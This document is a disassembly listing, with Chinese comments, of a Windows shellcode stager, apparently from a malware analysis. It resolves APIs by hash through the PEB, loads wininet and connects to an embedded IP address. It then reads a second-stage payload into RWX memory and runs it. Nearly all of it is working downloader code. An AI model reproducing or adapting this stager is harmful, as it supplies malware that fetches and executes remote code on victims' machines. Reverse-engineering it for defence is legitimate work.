1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420
| 005F4018 <test.buf> cld #修改DF标志位 005F4019 call test.5F40A7 #跳到test.5F40A7
#005F40A7->005F401E start 005F401E pushad 005F401F mov ebp,esp 005F4021 xor edx,edx 005F4023 mov edx,dword ptr fs:[edx+30] 005F4027 mov edx,dword ptr ds:[edx+C] 005F402A mov edx,dword ptr ds:[edx+14] 005F402D mov esi,dword ptr ds:[edx+28] 005F4030 movzx ecx,word ptr ds:[edx+26] 005F4034 xor edi,edi 005F4036 xor eax,eax 005F4038 lodsb 005F4039 cmp al,61 005F403B jl test.5F403F 005F403D sub al,20 005F403F ror edi,D 005F4042 add edi,eax 005F4044 loop test.5F4036 005F4046 push edx 005F4047 push edi 005F4048 mov edx,dword ptr ds:[edx+10] 005F404B mov eax,dword ptr ds:[edx+3C] 005F404E add eax,edx 005F4050 mov eax,dword ptr ds:[eax+78] 005F4053 test eax,eax 005F4055 je test.5F40A1
# 有导出表执行的代码 005F4057 add eax,edx #得到导出表地址 005F4059 push eax #导出表地址压栈 005F405A mov ecx,dword ptr ds:[eax+18] #得到函数个数 005F405D mov ebx,dword ptr ds:[eax+20] #AddressOfNames 005F4060 add ebx,edx #AddressOfNames地址 005F4062 jecxz test.5F40A0 #函数遍历结束后跳回5F40A0 005F4064 dec ecx #自减ecx 005F4065 mov esi,dword ptr ds:[ebx+ecx*4] 005F4068 add esi,edx 005F406A xor edi,edi 005F406C xor eax,eax 005F406E lodsb 005F406F ror edi,D 005F4072 add edi,eax 005F4074 cmp al,ah 005F4076 jne test.5F406C 005F4078 add edi,dword ptr ss:[ebp-8] 005F407B cmp edi,dword ptr ss:[ebp+24] 005F407E jne test.5F4062
# 对比到后执行的代码 005F4080 pop eax 005F4081 mov ebx,dword ptr ds[eax+24] 005F4084 add ebx,edx 005F4086 mov cx,word ptr ds[ebx+ecx*2] 005F408A mov ebx,dword ptr ds[eax+1C] 005F408D add ebx,edx 005F408F mov eax,dword ptr ds[ebx+ecx*4] 005F4092 add eax,edx 005F4094 mov dword ptr ss[esp+24],eax 005F4098 pop ebx 005F4099 pop ebx 005F409A popad 005F409B pop ecx 005F409C pop edx 005F409D push ecx 005F409E jmp eax 005F40A0 pop eax
#jmp 005F4055 start 005F40A1 pop edi 005F40A2 pop edx 005F40A3 mov edx,dword ptr ds:[edx] 005F40A5 jmp test.5F402D #jmp 005F4055 end
#5F40A7 start 005F40A7 pop ebp #这里是call所以是把005F401E地址存到ebp中 005F40A8 push 74656E #net 005F40AD push 696E6977 #wini 005F40B2 push esp #相当于压入指向wininet的指针 005F40B3 push 726774C #push字符串 005F40B8 call ebp #回到005F401E #5F40A7 end
#LoadLibraryA执行完到的地方 start 005F40BA xor edi,edi 005F40BC push edi 005F40BD push edi 005F40BE push edi 005F40BF push edi 005F40C0 push edi 005F40C1 push A779563A 005F40C6 call ebp #005F401E #LoadLibraryA执行完到的地方 end
005F40C8 jmp test.5F4151
#InternetConnectA的参数还有特征码 start 005F40CD pop ebx 005F40CE xor ecx,ecx 005F40D0 push ecx 005F40D1 push ecx 005F40D2 push 3 005F40D4 push ecx 005F40D5 push ecx 005F40D6 push 52 005F40DB push ebx 005F40DC push eax 005F40DD push C69F8957 005F40E2 call ebp #InternetConnectA的参数还有特征码 end
005F40E4 jmp test.5F4156
#HttpOpenRequestA的参数还有特征码 start 005F40E6 pop ebx 005F40E7 xor edx,edx 005F40E9 push edx 005F40EA push 84400200 005F40EF push edx 005F40F0 push edx 005F40F1 push edx 005F40F2 push ebx 005F40F3 push edx 005F40F4 push eax 005F40F5 push 3B2E55EB 005F40FA call ebp #HttpOpenRequestA的参数还有特征码 end
#HttpSendRequestA的参数还有特征码 start 005F40FC mov esi,eax 005F40FE add ebx,50 005F4101 xor edi,edi 005F4103 push edi 005F4104 push edi 005F4105 push FFFFFFFF 005F4107 push ebx 005F4108 push esi 005F4109 push 7B18062D 005F410E call ebp #HttpSendRequestA end
#GetDesktopWindow start 005F4110 test eax,eax 005F4112 je test.5F42DB 005F4118 xor edi,edi 005F411A test esi,esi 005F411C je test.5F4122 005F411E mov ecx,edi 005F4120 jmp test.5F412B 005F4122 push 5DE2C5AA 005F4127 call ebp 005F4129 mov ecx,eax 005F412B push 315E2145 005F4130 call ebp #GetDesktopWindow end
#InternetErrorDlg start 005F4132 xor edi,edi 005F4134 push edi 005F4135 push 7 005F4137 push ecx 005F4138 push esi 005F4139 push eax 005F413A push BE057B7 005F413F call ebp #InternetErrorDlg end
#检查InternetErrorDlg返回值选择继续执行的代码 005F4141 mov edi,2F00 005F4146 cmp edi,eax #没报错这里返回0,这里不跳转 005F4148 je test.5F4101 005F414A xor edi,edi 005F414C jmp test.5F42E2 #跳到5F42E2 005F4151 jmp test.5F431F 005F4156 call test.5F40E6
#完整shellcode路径,不是代码 005F415B das 005F415C bound esi,qword ptr ds:[esi+31] 005F415F push ebx
#无用字符 005F4160 add byte ptr ss:[ebp-5],ch 005F4163 xor edi,edx 005F4165 pop dword ptr ds:[ebx-24F1EAC3] 005F416B inc esp 005F416C pushad 005F416D ja test.5F4149 005F416F aas 005F4170 and ebp,ebx 005F4172 mov esp,gs 005F4174 mov eax,F7DBC8C 005F4179 mov ah,91 005F417B outsb 005F417C daa 005F417D leave 005F417E inc eax 005F417F or dword ptr ds:[edx],ebx 005F4181 mov al,22 005F4183 mov esp,F4832A95 005F4189 sub ch,dh 005F418B cmp cl,byte ptr ds:[ecx] 005F418D and eax,1CDD912B 005F4192 adc dword ptr ds:[4992030A],esi 005F4198 mov ebp,D0A832C5 005F419D ret BA26 005F41A0 xchg dword ptr ds:[edi-80],esp 005F41A3 mov dh,B9 005F41A5 lds edi,fword ptr ds:[eax+854A77] #无用字符
#请求头字符,数据 start 005F41AB push ebp 005F41AC jae test.5F4213 005F41AE jb test.5F41DD 005F41B0 inc ecx 005F41B1 outsb 005F41B4 je test.5F41F0 005F41B6 and byte ptr ss:[ebp+6F],cl 005F41B9 jp test.5F4224 005F41BB insb 005F41BC insb 005F41BD popad 005F41BE das 005F41BF xor eax,2820302E 005F41C4 arpl word ptr ds:[edi+6D],bp 005F41C7 jo test.5F422A 005F41C9 je test.5F4234 005F41CB bound ebp,qword ptr ss:[ebp+3B] 005F41CF and byte ptr ss:[ebp+53],cl 005F41D2 dec ecx 005F41D3 inc ebp 005F41D4 and byte ptr ds:[ecx],bh 005F41D6 xor byte ptr cs:[ebx],bh 005F41D9 and byte ptr ds:[edi+69],dl 005F41DC outsb 005F41DD outsd 005F41DF ja test.5F4254 005F41E1 and byte ptr ds:[esi+54],cl 005F41E4 and byte ptr ds:[esi],dh 005F41E6 xor byte ptr cs:[ebx],bh 005F41E9 and byte ptr ds:[edi+4F],dl 005F41EC push edi 005F41ED xor al,3B 005F41F0 and byte ptr ds:[edx+esi*2+69],dl 005F41F4 outsb 005F41F7 je test.5F4228 005F41F9 xor eax,D29302E 005F41FE or al,byte ptr ds:[eax] 005F4200 push edi #请求头 end
#无用字符 005F4201 xlat 005F4202 std 005F4203 add dword ptr ds:[esi+1B],ebx 005F4207 push 35 005F4209 loop test.5F421E 005F420B xor eax,4DA22A71 005F4210 in eax,dx 005F4211 push cs 005F4212 push FFFFFFC2 005F4214 or ebx,eax 005F4216 enter 7BC7,67 005F421A shr byte ptr ds:[esi-5B02E9C6],1 005F4220 mov dh,37 005F4222 jl test.5F427F 005F4224 das 005F4225 iretd 005F4226 or byte ptr ss:[ebp-2D],ah 005F4229 mov ch,3D 005F422B and ah,byte ptr ds:[eax+17] 005F422E movsd 005F422F xlat 005F4230 lahf 005F4231 adc dl,byte ptr ds:[ecx+2D] 005F4234 rcr dword ptr ds:[eax+edx],cl 005F4237 xor dword ptr ds:[ecx+1],ebp 005F423A mov dl,FE 005F423C enter A3DC,E4 005F4240 sbb dword ptr ds:[edx],edi 005F4242 int3 005F4243 ja test.5F41E4 005F4245 ??? 005F4246 cli 005F4247 sub dword ptr ds:[ecx-46FC2069],esi 005F424D ??? 005F424E jl test.5F41EC 005F4250 inc ebp 005F4251 pushfd 005F4252 sar byte ptr ds:[edx-1351DB2F],1 005F4258 js test.5F426D 005F425A or al,C2 005F425C nop 005F425D test dword ptr ds:[edi+24],ebp 005F4261 xor edx,dword ptr ds:[eax] 005F4263 or dword ptr fs:[edi-76],eax 005F4267 push ebx 005F4268 inc edx 005F4269 sahf 005F426A pop edx 005F426B scasd 005F426C xchg ebp,eax 005F426D out F9,eax 005F426F cmp al,AB 005F4271 aam 1E 005F4273 pop ds 005F4274 shr byte ptr ds:[ebx-42],cl 005F4277 insb 005F4278 test edi,ecx 005F427A push ecx 005F427C xchg edx,eax 005F427D jg test.5F42D0 005F427F std 005F4280 outsb 005F4281 dec esi 005F4282 mov eax,dword ptr ds:[8FE22E3D] 005F4287 mov al,72 005F4289 enter EC01,DE 005F428D or eax,eax 005F4290 push ss 005F4291 into 005F4292 adc al,63 005F4294 fdivr st(0),qword ptr ds:[eax+16] 005F4297 add ebx,dword ptr ds:[eax-426ABF28] 005F429D jle test.5F4242 005F429F jae test.5F42B7 005F42A1 lds esp,fword ptr ds:[edi-6B5B966] 005F42A7 jge test.5F4308 005F42A9 xchg esp,eax 005F42AA les esp,fword ptr ds:[ebx-38A60C87] 005F42B0 mov ah,cl 005F42B2 xchg dword ptr ds:[edi-163B9E4],esi 005F42B8 push esi 005F42B9 fild st(0),dword ptr ds:[esi+44] 005F42BC out dx,eax 005F42BD adc esi,esi 005F42BF mul bl 005F42C1 adc dword ptr ds:[ecx-75],eax 005F42C4 push ebx 005F42C5 push es 005F42C6 cmp al,9D 005F42C8 pushfd 005F42C9 clc 005F42CA jge test.5F4337 005F42CC test eax,C2DA2487 005F42D1 test al,D7 005F42D3 jmp 48C7358C 005F42D8 and ch,byte ptr ds:[ebx] 005F42DA add byte ptr ds:[eax-10],ch 005F42DD mov ch,A2 005F42DF push esi 005F42E0 call ebp #无用字符
#VirtualAlloc start 005F42E2 push 40 005F42E4 push 1000 005F42E9 push 400000 005F42EE push edi 005F42EF push E553A458 005F42F4 call ebp #VirtualAlloc end
#InternetReadFile start 005F42F6 xchg ebx,eax 005F42F7 mov ecx,0 005F42FC add ecx,ebx 005F42FE push ecx 005F42FF push ebx 005F4300 mov edi,esp 005F4302 push edi 005F4303 push 2000 005F4308 push ebx 005F4309 push esi 005F430A push E2899612 005F430F call ebp #InternetReadFile end
#InternetReadFile循环 start 005F4311 test eax,eax 005F4313 je test.5F42DB 005F4315 mov eax,dword ptr ds[edi] 005F4317 add ebx,eax 005F4319 test eax,eax 005F431B jne test.5F4302 005F431D pop eax 005F431E ret #InternetReadFile循环 end
005F431F call test.5F40CD
#IP地址字符串,这些都是数据,不是代码 005F4324 xor dword ptr ds:[eax],esi 005F4326 xor dword ptr cs:[ebx],esi 005F4329 xor byte ptr ds:[esi],ch 005F432B xor al,2E 005F432D xor dh,byte ptr ds:[eax] 005F432F xor al,0 005F4331 adc dh,byte ptr ds:[esi+edx*2] 005F4334 js test.5F4336
|